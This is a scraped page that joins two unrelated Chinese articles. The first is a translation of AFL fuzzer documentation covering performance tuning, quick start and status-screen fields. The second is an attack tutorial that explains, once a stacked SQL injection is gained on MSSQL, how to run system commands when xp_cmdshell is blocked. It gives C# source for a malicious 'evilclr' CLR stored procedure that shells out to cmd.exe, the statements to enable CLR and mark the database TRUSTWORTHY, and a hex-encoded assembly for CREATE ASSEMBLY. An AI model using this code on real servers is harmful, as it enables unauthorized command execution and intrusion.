### 1.6 尝试并行化运行 fuzzer
`fuzzer`被设计为每个作业需要大约`1`个`CPU`核心。 这意味着在`4`核系统上，您可以轻松地运行四个并行的模糊测试作业，而性能损失相对较小。
有关如何执行此操作的提示，请参阅`parallel_fuzzing.txt`。
`afl-gotcpu`实用程序可以帮助您了解系统上是否仍有空闲`CPU`资源。(它不会告诉您内存带宽情况、缓存丢失情况或类似的资源信息，但这些不太可能成为问题。)
### 1.7 检查内存限制和超时限制是否不合适
如果您启用了`-m`或`-t`限制，且这个限制超过了`fuzzer`的实际需要，请考虑将它们置为合理值。
对于理论上应当非常迅速但在某些输入样例上实际变得缓慢的程序，您还可以尝试使用`-t`额外设置一个超时限制，这个额外的超时限制应当比`fuzzer`默认的超时时间更短。
在快速和空闲的机器上，将超时时间降低到`-t 5`可能是一个可行的计划。
`-m`参数也值得检查。 当出现异常的输入样例时，待测程序最终可能会花费大量时间来分配和初始化兆字节量级的内存。
使用`-m`设置更加严格的内存限制可以使`fuzzer`更快地放弃此异常的输入样例并且不会浪费`CPU`时间。[原译者注：程序是如何通过`-m`，起限制作用？]
### 1.8 检查系统设置
有几个操作系统级别的因素可能会影响模糊测试速度：
* 避免高系统负载。尽可能使用闲置机器进行系统测试。并杀死任何非必要的会消耗 CPU 的进程（空闲的浏览器窗口、媒体播放器、复杂的屏幕保护程序等）。
* 避免将网络文件系统用于`fuzzer`的`IO`或由待测目标访问以读取其所需的配置文件（请特别注意`home`目录，许多程序在其中搜索`.`文件）。
* 按需进行`CPU`扩展。`Linux`的`CPU`需求调度器按特定时间表执行分析，并且众所周知它往往会低估由`afl-fuzz`(或任何其他模糊器)发出的短期进程的需求。在`Linux`上，这可以通过以下方式缓解：
cd /sys/devices/system/cpu
echo performance | tee cpu*/cpufreq/scaling_governor
在其他系统上，`CPU`扩展的影响会有所不同；模糊测试时，可以使用特定于操作系统的工具来确定是否所有内核都在全速运行。
* 禁用透明大内存页(`Transparent huge pages`,`THP`)机制当在内核中启用THP时，某些内存分配器(例如`jemalloc`)可能会导致严重的模糊测试性能损失。您可以通过以下方式禁用此功能：
echo never > /sys/kernel/mm/transparent_hugepage/enabled
* 选择次优的调度策略。 这个设置的重要性要视测试目标情况而定，但是在`Linux`上，您可能需要确保设置了以下选项：
echo 1 >/proc/sys/kernel/sched_child_runs_first
echo 1 >/proc/sys/kernel/sched_autogroup_enabled
为`fuzzer`进程设置不同的调度策略(例如`SCHED_RR`)通常也可以加快速度，但是需要格外小心异常的发生。
### 1.9 最后的解决方案，使用 -d
对于真的很慢的程序，如果您确实无法使用任何工具对巨大的输入样例进行转义或其他处理，或者当您只想尽早获得快速但是混乱的检测结果时，您可以使用于 -d 模式。
该模式会导致`afl-fuzz`跳过所有确定性检查的模糊测试步骤，这将使得输出变得不那么整洁，并且会使测试的最终深度降低一些，但它会给你一种比其他模糊测试工具更舒适的体验。[原译者注：？？？]
## 2\. QuickStartGuide.txt(快速上手)
你应该读读`docs/README`。它的篇幅很短。如果你真的不想读它，那此篇文档将指导你如何开始你的模糊测试之旅:
1. 用`make`编译`AFL`。 如果您构建失败，请参阅`docs/INSTALL`中的提示修复问题。
2. 找一个或者编写一个合理且高效简单的程序，该程序可以从文件流或标准输入流`STDIN`中获取数据，它需要运行一个有测试价值的逻辑，然后干净地退出。如果您想测试网络服务逻辑，请将其修改为在前台运行并从`STDIN`中读取数据包。 当此程序需要使用一个带校验和的数据格式时，也请注释掉校验和的验证代码。遇到错误时，程序必须以标准形式崩溃。 请一定要注意程序中有关自定义的`SIGSEGV`或`SIGABRT`处理程序和后台进程。(译者注：此处的后台进程应当代指守护进程)若您想寻找一个不会导致程序崩溃的漏洞或缺陷，请参阅`docs/README`中的第`11`节以获取提示。[原译者注：可以自己写一个简单，有明显`bug`的程序测试。]
3. 使用`afl-gcc`编译要进行`fuzz`的程序和库。 常用的命令是：
CC=/path/to/afl-gcc CXX=/path/to/afl-g++ ./configure --disable-shared
make clean all
如果程序构建失败，请联系<a
href=”mailto:afl-[[email protected]](mailto:[email protected])“”>[email protected]。[原译者注：注意`--disable-shared`]
4. 获取一个对程序有意义的小而有效的输入文件。 在对使用语法冗长(`SQL`,`HTTP`等)的文本作为输入的程序进行模糊处理时，也请按照`dictionaries/README.dictionaries`中的描述创建样例输入字典。
5. 如果程序从`stdin`读取数据，则按以下示例代码运行`afl-fuzz`：
./afl-fuzz -i testcase_dir -o findings_dir -- /path/to/tested/program [...program's cmdline...]
如果程序从文件中获取输入，可以在程序的命令行的末尾输入`@@`，此时`AFL`会为你自动生成一个文件名。
6. 监视`GUI`中显示的内容，关于这些内容的解释可以通过`docs/status_screen.txt`查看。
以上步骤都完成之后，你可以坐好，放松，喝杯茶，如果时间允许，您可以试着浏览以下文件：
* `docs/README` ：对AFL的概述
* `docs/perf_tips.txt`：关于如何快速模糊测试的简单提示
* `docs/status_screen.txt`：UI显示的含义解释
* `docs/parallel_fuzzing.txt`：关于在多核上运行AFL的建议
## 3\. status_screen.txt(GUI手册)
本文档提供了状态监控的概述，以及对任何警告或`UI`中显示的红色文本进行故障排除的提示。 有关一般说明手册，请参见自述文件。
### 3.0 多彩输出
状态监控和错误消息都使用了不用的颜色使内容保持可读性并试图通过此吸引您对重要细节的注意力。 例如，红色的信息几乎总是表示“请参考相关文档” 🙂
不幸的是，只有在您的终端使用传统的`Unix`配色方案(黑色背景上的白色文本)时或接近此方案的情况下，`UI`才能正确呈现。
如果您使用的是其他系统下的终端程序，则可能需要更改为以下设置，例如：
* 对于`GNOME`终端，请转到`Edit`>`Profile preferences`，选择`colors`选项卡，然后从内置方案列表中选择`white on black`。
* 对于`MacOS X Terminal`应用程序，通过`Shell`> `New Window`菜单使用`Pro`方案打开一个新窗口（或将`Pro`设置为默认设置）。
如果您确实喜欢您终端当前的颜色，则可以编辑`config.h`以注释掉`USE_COLORS`，然后执行`make clean all`。
我不知道有任何其他简单的方法使这工作不引起其他副作用——抱歉。(>_<)
好了，接下来让我们谈谈屏幕上的实际内容。
### 3.1 Process timing(`fuzz`时间)
+----------------------------------------------------+
| run time : 0 days, 8 hrs, 32 min, 43 sec |
| last new path : 0 days, 0 hrs, 6 min, 40 sec |
| last uniq crash : none seen yet |
| last uniq hang : 0 days, 1 hrs, 24 min, 32 sec |
+----------------------------------------------------+
此部分的内容很明显，它显示了`fuzzer`已经运行了多长时间，以及自从最近一次新发现以来已经花费了多少时间。每个`fuzzer`的发现分为路径(发现了一个可以触发新执行模式/分支的输入用例)、崩溃和挂起。
测试的时间没有硬性标准，但是大多数测试工作要持续数天或数周。
实际上，对于一个比较复杂的项目，测试的第一阶段可能需要一天左右的时间。有些测试甚至要持续一个月或更久。
尽管我们不用担心`fuzzer`的运行时间过长，但是有一种重要的情况要提防：如果`fuzzer`在启动后的几分钟内没有找到新路径，则可能是您没有正确调用目标待测文件，这表明它可能永远也无法解析我们要喂给它的输入文件。另一个可能的解释是，默认内存限制(`-m`)过于严格，这使得程序未能尽早分配缓冲区后退出。
当然也有可能是输入文件是无效的以致于始此输入终无法通过待测程序的基本标头检查。
如果一段时间内没有新路径出现，您将会看到一个红色的大警告:-)
### 3.2 Overall results(`fuzz`计数器)
+-----------------------+
| cycles done : 0 |
| total paths : 2095 |
| uniq crashes : 0 |
| uniq hangs : 19 |
+-----------------------+
`cycles
done`表示到目前为止已完成的样例输入队列完成次数——即`fuzzer`遍历到目前为止发现的所有有趣样例输入对其进行测试并循环回到最开始的次数。每个模糊测试实例都应至少完成一个周期。
并且理想情况下，运行时间应该比这更长，即，运行更多的周期数。
如前所述，第一次周期完成可能需要一天或更长的时间，因此您请坐下来放松喝喝茶。
如果您想立即获得更广泛的结果，且您能接受代码覆盖率下降，请尝试使用`-d`选项，这将跳过确定性检查的`fuzz`步骤，它可以为您提供更熟悉便捷的体验。
但是，它在一些方面不如标准模式。
为了帮助您得知应该在何时按下`Ctrl-C`以中止测试，`cycle
counter`也使用了多彩输出方案。它将在第一次周期完成时以洋红色显示，如果在随后的循环中仍有新发现，则变为黄色，然后在循环结束时变为蓝色。最终，在较长时间没有任何新发现后后，变成绿色，表示您可以在此时中止。
此部分中的其余字段应该非常明显——到目前为止，已经发现的所有测试用例(路径)以及异常的数目。
如自述文件中所述，可以通过浏览输出目录来实时分析路径、崩溃和挂起。
### 3.3 Cycle progress(`fuzz`进度)
+-------------------------------------+
| now processing : 1296 (61.86%) |
| paths timed out : 0 (0.00%) |
+-------------------------------------+
此部分告诉您`fuzzer`已完成了多少测试进度，当此进度为`100%`时，代表完成了一个`3.2`中所述的周期。此外此部分还会告诉您`fuzzer`因为持续超时而决定丢弃的样例输入数量。
有时在第一行中显示的`*`后缀表示当前处理的路径不是`favored`的(此属性将稍后在第`3.6`中讨论）
如果您认为`fuzzer`的进度太慢，请参阅本文档第`2`节中有关`-d`选项的注释。
### 3.4 Map coverage(代码覆盖率)
(译者注：若要理解此部分内容，那么需要先明确，`AFL`将为每个代码块生成一个随机数，作为其“位置”的记录。随后，对分支处的入口位置和结束目标位置进行异或，并将异或的结果作为该分支的`key`，用于保存每个分支的执行次数。用于保存执行次数的实际上是一个哈希表，大小为`MAP_SIZE=64K`，当然会存在碰撞的问题；但根据`AFL`文档中的介绍，对于不是很复杂的目标，碰撞概率还是可以接受的)
+--------------------------------------+
| map density : 10.15% / 29.07% |
| count coverage : 4.03 bits/tuple |
+--------------------------------------+
此部分提供了关于`fuzzer`代码覆盖率的相关知识。
框中的第一行告诉您，`fuzzer`已经命中的分支数量占总哈希表容量(`MAP_SIZE`)的比例。
左边的数字描述了当前输入样例的覆盖率，右边的是整个输入语料库的覆盖率。
请注意以下极端情况：
* 若出现一个低于200的数字(而非比例值)，将表明目标程序出现了以下三种情况之一：
* 目标程序过于简单
* 目标程序没有正确的被检测(例如目标程序被链接到了非检测目标库文件的副本)
* 目标程序在接收到测试用例后过早的退出了
此时，数据将被标记为粉红色以告知您发生了异常情况
* 若您的目标程序是一个使用了大量的模板生成代码的非常复杂的程序，那么第一行的数据可能超过`70%`(尽管发生的可能性很低)。因为过高的分支密度将使`fuzzer`可靠地识别到新程序状态变的更加困难(译者注：当比例过高将极大地增加哈希表碰撞的概率，读者可以去了解哈希表碰撞的相关概念以进一步了解)，所以我建议使用`AFL_INST_RATIO = 10`左右的设置重新编译二进制文件然后重新启动模糊测试(请参阅`env_variables.txt`获取更多信息)。`fuzzer`将以红色标记高百分比的覆盖率。 但是，除非您正在对一个拥有非常多分支的程序进行测试(例如，`v8`、`perl`、`ffmpeg`)，您可能永远也看不到此红色标记。
此部分的第二行为某次输入用例中映射碰撞的计数。 本质上，如果对于我们尝试的所有输入样例，每个采用的分支始终采用固定的次数，则该读数将为`1.00`。
当我们设法触发每个分支的其他命中计数时，指针将开始向`8.00`移动(`8`位映射命中的每个位)，但可能永远不会达到极限。
那么综合这部分的两个值可用于比较针对同一个待测文件启动的不同`fuzzer`实例的覆盖率。
[原译者注：不大明白`map coverage`]
### 3.5 Stage progress(样本变异状态)
+-------------------------------------+
| now trying : interest 32/8 |
| stage execs : 3996/34.4k (11.62%) |
| total execs : 27.4M |
| exec speed : 891.7/sec |
+-------------------------------------+
这部分让你深入了解`fuzzer`现在对样例输入做什么。第一行告诉你当前的变异阶段，合法的取值可以是:
* `calibration`(初始阶段)：预测试阶段，在该阶段检查执行路径以检测异常，确定基线执行速度等。 只要有新发现，就会非常简洁地继续执行。
* `trim L/S`(裁去)：预测试阶段，尝试将输入用例裁剪为最短的形式，要求修饰前的用例将仍然产生相同的执行路径。裁去长度(`L`)和间隔步长(`S`)通常根据文件大小来确定。
* `bitflip L/S`(位翻转)：确定性变异。在任何给定的时间对输入样例以`S`位为步长进行遍历，每次遍历循环对`L`位字节执行位翻转操作(即，每隔`S`位，翻转`L`位)。 当前的`L/S`有效取值为:`1/1`、`2/1`、`4/1`、`8/8`、`16/8`、`32/8`。
* `arith L/8`(算术变异)：确定性变异。`fuzzer`尝试将输入样例中的字节减去或加上`8/16/32`位值。两次变异的字节位置间隔总是8位。
* `interest L/8`(替代变异)：确定性变异。`fuzzer`需要有一个已知且可能触发异常的`8/16/32`位值的列表来尝试替代输入样例中的字节。两次变异的字节位置间隔总是8位。
* `extras`(字典变异)：确定性变异。可能显示为`user`或`auto`，这取决于`fuzzer`是使用用户通过`-x`提供的词典还是自动创建的词典。 您还会看到`over`或`insert`标识符，具体取决于字典单词是覆盖现有数据还是通过偏移量以适应其长度来插入其中。
* `havoc`(综合变异)：一种带栈随机调整的固定偏移循环。 在此阶段尝试的操作包括以上的几种变异思路，例如：位翻转、使用随机和可能触发异常的整数进行覆盖，块删除，块复制以及各种与字典相关的操作(如果首先提供字典)。
* `splice`(拼接变异)：最后一个变异策略，该策略在第一个完整队列周期(`3.2`中所述)后没有新路径发现时开始。 它等效于`havoc`，不同的是它首先在任意选择的中点将来自队列的两个随机输入拼接在一起。
* `sync`(同步变异)：仅在设置`-M`或`-S`时会使用的阶段(请参见`parallel_fuzzing.txt`)。此阶段不涉及真正的模糊测试，但是该工具会扫描其他模糊测试器的输出，并在必要时导入输入用例。 第一次执行此操作可能需要几分钟左右。
其余字段应该是字面意思就能理解的：当前阶段的`exec`计数进度指示器，全局`exec`计数器以及当前程序执行速度。
这些值可能会在输入用例发生切换时产生波动，但是理想情况下，执行速度在大多数情况下应该超过`500
execs/sec`——如果它保持在`100`以下，则该工作可能会花费很长时间。
`fuzzer`还将明确警告您有关慢速目标的信息。 如果发生这种情况，请参阅`perf_tips.txt`文件，以获取有关如何加快速度的方案。
### 3.6 Findings in depth(`fuzz`发现信息)
+--------------------------------------+
| favored paths : 879 (41.96%) |
| new edges on : 423 (20.19%) |
| total crashes : 0 (0 unique) |
| total tmouts : 24 (19 unique) |
+--------------------------------------+
这为您提供了几个完成度的指标。该部分包括基于嵌入代码中的最小化算法的路径数量(这些路径将加快运行速度)，以及实际上导致更好边缘分支覆盖的测试用例数量(而不是仅仅推动分支命中计数器上升)。
还有其他更详细的崩溃和超时计数器。
请注意，超时计数器与挂起计数器有所不同。 挂起计数器包括超过超时时间的所有测试用例也包括一些没有超出超时的程度但将其分类为挂起的用例。
### 3.7 Fuzzing strategy yields(`fuzz`详细信息)
+-----------------------------------------------------+
| bit flips : 57/289k, 18/289k, 18/288k |
| byte flips : 0/36.2k, 4/35.7k, 7/34.6k |
| arithmetics : 53/2.54M, 0/537k, 0/55.2k |
| known ints : 8/322k, 12/1.32M, 10/1.70M |
| dictionary : 9/52k, 1/53k, 1/24k |
| havoc : 1903/20.0M, 0/0 |
| trim : 20.31%/9201, 17.05% |
+-----------------------------------------------------+
这只是另一个有关完成度的部分，他用于跟踪我们为前面讨论的每个模糊测试策略建立了多少条路径，与尝试的执行次数成比例。 这有助于令人信服地验证有关`afl-fuzz`采取的各种方法的有效性的假设。
本节中的`trim`统计信息与其余统计信息略有不同。该行的第一个数字显示从输入文件中删除的字节数占总文件字节数的比率。第二个数字对应于实现此目标所需的`exec`数量。
最后，第三个数字表示虽然无法删除但被认为没有效果并且被从某些更重要的确定性模糊处理步骤中所排除的字节所占的比例。
### 3.8 Path geometry(路径信息)
+---------------------+
| levels : 5 |
| pending : 1570 |
| pend fav : 583 |
| own finds : 0 |
| imported : 0 |
| stability : 100.00% |
+---------------------+
本部分中的第一个字段表示此次模糊测试过程达到的路径深度。 本质上，用户提供的初始测试用例被认为是`Level 1`。
通过传统的模糊测试可以从中得出的输入用例被认为是`Level 1`。 通过将它们用作后续模糊测试循环的输入而得出的结果为`Level 1`；
等等。因此，最大深度可以大致代表您从`afl-fuzz`采取的编译策略中获得的测试价值。
下一个字段表示尚未进入任何模糊测试的输入样例数量。对于`fuzzer`真正想要在此队列周期中访问的受青睐条目，在下一个字段中也给出了相同的统计信息(非受青睐的条目可能需要等待几个周期才能获得机会进入测试)。
接下来的字段在并行化模糊测试中显示在此实例中发现的新路径的数量、从其他实例导入的新路径的数量、相同输入在不同实例中产生行为的一致性。毕竟同样的输入有时会在待测文件中产生可变的行为。
最后一点实际上很有趣：它可以测量观察到的路径的一致性。 如果程序对于相同的输入数据始终表现相同，则它将获得`100％`的显示。
当该值较低但仍显示为紫色时，`fuzz`过程不太可能受到负面影响。 但它如果变成红色，则可能会遇到麻烦，因为这表示`AFL`难以区分调整输入文件的意义。
现在，大多数目标只会得到`100％`的显示，但是当您看到较低的数字时，有几件事情要注意确认：
* 在待测文件中，是否使用了未初始化的内存和某些内在的熵增源。 这对`AFL`无害，但这可能表示待测程序存在安全漏洞。
* 是否在尝试操纵外部永久资源，例如遗留在临时文件或共享内存对象中的资源。 通常，这是无害的，但是您可能需要仔细检查以确保程序不会过早退出。磁盘空间、`SHM`句柄或其他全局资源用完也会触发此情况。
* 是否故意进行随机输出的功能。通常无害。 例如，在对`sqlite`进行模糊处理时，输入`select random();`之类的输入将触发变量执行随机路径。
* 多线程待测程序是否正以半随机顺序单次执行。 当`stability`指标保持在90％左右时，这是无害的，但如果不是这样，则可能成为问题。 您可以尝试以下方法：
* 使用`llvm_mode/`中的`afl-clang-fast`对待测程序进行重编译——此工具使用本地线程跟踪模型，该模型不太容易出现并发问题。
* 查看目标是否可以在没有多线程机制的情况下进行编译或运行。 常见的`./configure`选项包括`--without-threads`、`-disable-pthreads`或`--disable-openmp`。
* 用`GNU Pth`([https://www.gnu.org/software/pth/)替换`pthread`，这使您可以使用确定性线程调度程序。](https://www.gnu.org/software/pth/\)%E6%9B%BF%E6%8D%A2%60pthread%60%EF%BC%8C%E8%BF%99%E4%BD%BF%E6%82%A8%E5%8F%AF%E4%BB%A5%E4%BD%BF%E7%94%A8%E7%A1%AE%E5%AE%9A%E6%80%A7%E7%BA%BF%E7%A8%8B%E8%B0%83%E5%BA%A6%E7%A8%8B%E5%BA%8F%E3%80%82)
* 在持久模式下，`stability`的细微下降可能是正常的，因为并非所有代码在重新输入时都表现出相同的行为。 但是大量的下降可能表示`__AFL_LOOP()`中的代码在后续迭代中行为不正确(例如，由于状态的不完全清理或重新初始化)，这将使得大部分的测试资源都浪费了。
检测到变量行为的路径在`<out_dir>/queue/.state/variable_behavior/`目录中用匹配的条目标记，因此您可以轻松地查找它们。
### 3.9 CPU load(`CPU`利用率)
[cpu: 25%]
这个小部件显示了本地系统上的明显CPU利用率。 通过获取处于可运行状态的进程数，然后将其与系统上的逻辑核心数进行比较来计算获得。
如果该值显示为绿色，则说明您使用的CPU内核数量少于系统上可用的CPU内核数量，并且可能可以通过并行使用`fuzzer`以提高性能。
有关如何执行此操作的提示，请参见`parallel_fuzzing.txt`。
如果该值显示为红色，则说明`CPU`可能被超额使用，此时运行其他模糊测试可能不会给您带来任何好处。
当然，此基准非常简单，它告诉您准备运行多少个进程，而不告诉您它们可能需要多少资源。 它还没有区分物理内核，逻辑内核和虚拟`CPU`。
这些中的每一个的性能特征都会有很大的不同。
如果要更精确的测量，可以从命令行运行`afl-gotcpu`实用程序。
### 3.10 Addendum: status and plot files
对于无人值守的操作，一些关键状态屏幕信息也可以在输出目录的`fuzzer_stats`文件中以机器可读的格式找到。 这包括：
* `start_time` – `unix` 时间，指示 `afl-fuzz` 的开始时间
* `last_update` – 此文件上次更新的`unix`时间
* `fuzzer_pid` – `fuzzer` 进程的 `PID`
* `cycles_done` – 到目前为止完成的队列周期
* `execs_done` – 尝试的 `execve()` 调用次数
* `execs_per_sec` – 当前每秒执行次数
* `paths_total` – 路径队列中的条目总数
* `paths_found` – 通过本地模糊测试发现的路径条目数
* `paths_imported` – 从其他实例导入的路径条目数
* `max_depth` – 生成的数据集中的路径深度级别数
* `cur_path` – 当前处理的路径条目号
* `pending_favs` – 仍在等待模糊测试的受青睐路径条目的数量
* `pending_total` – 等待模糊测试的所有路径条目的数量
* `stability` – 行为一致的哈希表条目的百分比
* `variable_paths` – 显示可变行为的测试用例数量
* `unique_crashes` – 记录的唯一崩溃次数
* `unique_hangs` – 遇到的唯一挂起数
* `command_line` – 用于模糊会话的完整命令行
* `slowest_exec_ms`– 最慢执行的实时时间，以毫秒为单位
* `peak_rss_mb` – 在 `mb` 中进行模糊测试时达到的最大 `rss` 使用量
其中大多数直接映射到前面讨论的UI元素。
最重要的是，您还可以找到一个名为`plot_data`的条目，其中包含大多数这些字段的绘图表历史记录。
如果您安装`gnuplot`，则可以使用随附的`afl-plot`工具将其转换为不错的进度报告。 | 社区文章 |
使用mssql中的clr程序集来执行命令
在我们拿到一个mssql的可堆叠注入时，可能第一时间想到的就是使用 `xp_cmdshell` 和 `sp_OACreate`
来执行命令、反弹shell等等，然而很多时候这两个存储过程不是被删就是被拦截，各种各样的因素导致我们不能执行系统命令，本文就来解决这个问题。
# 什么是CLR
CLR微软官方把他称为 **公共语言运行时** ，从 SQL Server 2005 开始，SQL Server 集成了用于 Microsoft
Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言（包括
Microsoft Visual Basic .NET 和 Microsoft Visual
C#）来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。
那么我们来使用C#来创建一个clr项目，在项目中我们创建一个存储过程调用cmd来执行命令。
# 制作恶意CLR
我在这里使用windows 2008、MSSQL2008r2和visual studio
2019来做演示。需要注意的是在MSSQL2008及以前的版本中是基于.net3.5运行的，不支持.net4.0+的CLR项目，需要将项目属性设置为.net3.5的，在这里踩了很大的坑。
创建MSSQL数据库项目
修改项目属性，勾上创建SQL文件
选.net3.5 来兼容旧版本MSSQL，权限级别要改为UNSAFE，因为我们要调用外部程序，必须设置为UNSAFE才可以。
保存后右键项目名字 新建项-创建存储过程
选择clr
然后修改代码，我贴上我的代码，注意类名和命名空间的修改
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void ExecCommand (string cmd)
{
// 在此处放置代码
SqlContext.Pipe.Send("Command is running, please wait.");
SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
}
public static string RunCommand(string filename,string arguments)
{
var process = new Process();
process.StartInfo.FileName = filename;
if (!string.IsNullOrEmpty(arguments))
{
process.StartInfo.Arguments = arguments;
}
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.RedirectStandardOutput = true;
var stdOutput = new StringBuilder();
process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
string stdError = null;
try
{
process.Start();
process.BeginOutputReadLine();
stdError = process.StandardError.ReadToEnd();
process.WaitForExit();
}
catch (Exception e)
{
SqlContext.Pipe.Send(e.Message);
}
if (process.ExitCode == 0)
{
SqlContext.Pipe.Send(stdOutput.ToString());
}
else
{
var message = new StringBuilder();
if (!string.IsNullOrEmpty(stdError))
{
message.AppendLine(stdError);
}
if (stdOutput.Length != 0)
{
message.AppendLine("Std output:");
message.AppendLine(stdOutput.ToString());
}
SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
}
return stdOutput.ToString();
}
}
编译后，会生成导入程序集并且创建执行命令存储过程的sql语句
# 导入程序集
在导入程序集之前我们需要做些准备，首先我们这个CLR功能MSSQL中是默认没有开启的，我们需要手动开启下
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
当导入了不安全的程序集之后我们还需要执行以下语句将数据库标记为安全。
ALTER DATABASE master SET TRUSTWORTHY ON;
然后就可以导入我们的程序集了，在项目编译完之后生成的sql文件中有字节流形式的语句来导入
CREATE ASSEMBLY [evilclr]
AUTHORIZATION [dbo]
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C01030068BBB65D0000000000000000E00022200B013000000E000000060000000000004E2C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000FC2B00004F00000000400000A002000000000000000000000000000000000000006000000C000000C42A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000540C000000200000000E000000020000000000000000000000000000200000602E72737263000000A0020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000302C00000000000048000000020005007C220000480800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076322E302E35303732370000000005006C000000A8020000237E000014030000B003000023537472696E677300000000C4060000B4000000235553007807000010000000234755494400000088070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000CC0101000000000006006601B60206008601B60206003C01A3020F00D602000006003803D8010A0050014E020E001103A3020600DF01D80106002002760306002101B6020E00F602A3020A0082034E020A0019014E020600BA01D8010E00F701A3020E00C800A3020E003502A30206000802360006001502360006002700D801000000002D00000000000100010001001000E5020000150001000100030110000100000015000100040006006C037900502000000000960083007D00010084200000000096008F001A0002005C220000000086189D02060004005C220000000086189D0206000400652200000000830016008200040000000100750000000100E800000002002703000001002E02000002000C0309009D02010011009D02060019009D020A0031009D02060051009D02060061001001100069009A001500710031031A0039009D0206003900E90132007900DB0015007100A003370079001903150079008D033C007900B80041007900A4013C00790083023C00790051033C0049009D02060089009D02470039005E004D0039004B0353003900F1000600390071025700990079005C0039003F0306004100AC005C0039009F0060002900B8015C004900050164004900C1016000A100B8015C00710031036A0029009D02060059004C005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA00200004800000000000000000000000000000000069020000020000000000000000000000700055000000000002000000000000000000000070004000000000000200000000000000000000007000D80100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468006576696C636C722E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006576696C636C72006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A00200000001E897910CE56A742B9629E72009C5099000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F7773010801000701000000000401000000000000000068BBB65D00000000020000001C010000E02A0000E00C0000525344534FDE46A4C9F4284FAAE5619111BF655C01000000453A5C636F64655C6373686172705C6576696C636C725C6576696C636C725C6F626A5C44656275675C6576696C636C722E706462000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000